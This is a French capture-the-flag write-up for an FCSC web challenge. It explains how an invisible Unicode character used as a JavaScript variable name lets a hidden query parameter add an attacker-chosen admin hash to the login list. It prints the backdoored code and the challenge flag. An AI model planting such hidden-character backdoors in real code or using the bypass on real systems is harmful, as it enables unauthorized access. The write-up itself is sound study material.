Principe:
Trouver le bypass utilisant des caractères unicodes invisibles
Le challenge

Le site et ses sources


Brute force


Au vu de la description du challenge et de la phrase "nous avons changé les mots de passe, mais les connexions continues", on peut se douter que cette piste ne marcherait pas
Prototype pollution?

xxd


Pour autant, aurai-je flaggé? Pas sûr, car je n'aurai pas fait le lien avec les variables JS, et je n'aurai peut-etre pas considéré que ce caractère là, dans ce contexte là, représentait en fait une variable classique!
const { username, password,ㅤ} = req.query;
// We changed all those passwords after Mr. Martin left the company
const validUsers = [
'admin:W7tgTzWTFBDedWf+OhrrqfLgYAh7blYh0RuhakKLKqQ=',
'alice:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=',
'bob:WsOfjLfA9phADg4FnzcUrtKOXc4hByHUsBpX02PvrSM=',ㅤ
];
const { username, password,hiddenUnicode} = req.query;
const validUsers = [
'admin:W7tgTzWTFBDedWf+OhrrqfLgYAh7blYh0RuhakKLKqQ=',
'alice:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=',
'bob:WsOfjLfA9phADg4FnzcUrtKOXc4hByHUsBpX02PvrSM=',hiddenUnicode
];
On voit alors que si on utilise une URL avec un paramètre nommé hiddenUnicode et une valeur admin:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA= (ou tout autre hash dont on connaitrait le mot de passe), alors une nouvelle entrée sera rajoutée dans le tableau des validUsers
const validUsers = [
'admin:W7tgTzWTFBDedWf+OhrrqfLgYAh7blYh0RuhakKLKqQ=',
'alice:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA=',
'bob:WsOfjLfA9phADg4FnzcUrtKOXc4hByHUsBpX02PvrSM=',
'admin:K9gGyX8OAK8aH8Myj6djqSaXI8jbj6xPk69x2xhtbpA='
];

FCSC{01122d1073f9d97090af9c7a53723a5c21a8946990afed9aa2557102b7771cde}
Evaluation partielle

Merci à la personne du chat Discord (je ne sais plus qui…) qui m'a donné les indices pour cette résolution une fois le CTF terminé